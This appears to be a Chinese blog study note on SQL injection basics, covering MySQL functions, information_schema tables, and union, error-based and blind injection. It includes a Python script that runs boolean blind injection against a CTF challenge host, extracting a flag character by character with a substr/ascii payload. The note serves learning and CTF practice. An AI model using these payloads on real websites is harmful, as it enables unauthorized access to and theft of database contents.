加载中...

SQL纯基础

数据库

结构

常用函数和语句

  • database():当前数据库名
  • user():当前用户名
  • version():当前数据库版本
  • 注释符:#,--+(' '),
  • information.schema:
    • 在MySql5.0版本之后,会默认在数据库中存放一个“information_schema”的数据库,
    • 在此库中需要记住三个表名,分别是SCHEMATA、TABLES、COLUMNS
      • SCHEMATA表存储该用户创建的所有数据库的库名,对应的字段名为SCHEMATA_NAME
      • TABLES表存储该用户创建的所有数据库的库名和表名,对应记录数据库库名和表名的字段为TABLE_SCHEMATABLE_NAME
      • COLUMNS表存储该用户创建的所有数据库的库名和表名和字段名,对应记录数据库库名、表名、字段名的字段为TABLE_SCHEMA和TABLE_NAME和COLUMN_NAME

原理

刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。 这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

注入类型

类型(数据类型):

整数型


字符型

方法:

联合注入

  • group_concat:将查询的结果集放到一行中,可以传递分隔符,原因:有时候数据库限制回显一行内容
    • 替代:使用limit 0,1第一行记录
  • order by:按照后面的字段(列名)进行排序,所以可以达到查询字段个数,即几列
  • group by:按照后面的字段(列名)内容按照一定条件进行分组,效果同上
  • union select:它可以将多个 SELECT 语句的结果集合并成一个结果集。UNION SELECT 操作符将返回所有的数据行,并且在返回结果集时去除了重复行。

报错注入

  • updatexml(xml_doument,XPath_string,new_value) 第一个参数:XML的内容 第二个参数:是需要update的位置XPATH路径 第三个参数:是更新后的内容 所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式 函数利用和语法明白了,下面注入的payload就清楚明白 0x7e用来校验,version()是我们想要的数据,concat用来连接它们两个 ,0x7e作用是校验,其他符号也可以

  • 制造 SQL 语法错误

  • 目标站点能直接返回错误信息的情况,例如网页表单出现了语法错误,target 站点返回的数据中包含了敏感信息等。

盲注(通吃)

substr:

  • substr(str from pos for len)
  • len:取字符的长度,即子字符串的长度
  • str表示被截取的字段
  • pos表示截取的位置(最好初始位置1)

mid:

判断条件:基于布尔型SQL盲注的判断条件主要依靠判断SQL语句的执行结果是否满足某些条件

  • 场景:盲注通常被用于目标站点没有直接回显返回结果的情况下,例如网页表单中没有明显的反馈消息,或者是 target 站点返回的数据被过滤掉了,而攻击者仍希望得到数据的情况
  • 脚本
  • 方式:异或(^),逻辑(and (&&),or(||),xor)
    def a():
    url = "http://91f8c7f4-eae1-4f52-89fd-8c7eabddf8c1.node4.buuoj.cn:81/index.php"
    flag = "Hello, glzjin wants a girlfriend."
    final = ""
    for i in range(0, 100):
    low = 33
    height = 130
    while (low < height):
    mid = int((low + height) / 2)
    data = {"id": "0^(if((ascii(substr((select(flag)from(flag)),%d,1))>%d),1,0))" % (i, mid)}
    re = requests.post(url=url, data=data).text
    time.sleep(0.3) # 0.3
    if flag in re:
    low = mid + 1
    else:
    height = mid
    final += chr(low)
    print("\n", final)
    if __name__ == '__main__':
    a()

例题


Bypass

posted @ 2023-04-22 15:13  zhajiangmian  阅读(25)  评论(0编辑  收藏  举报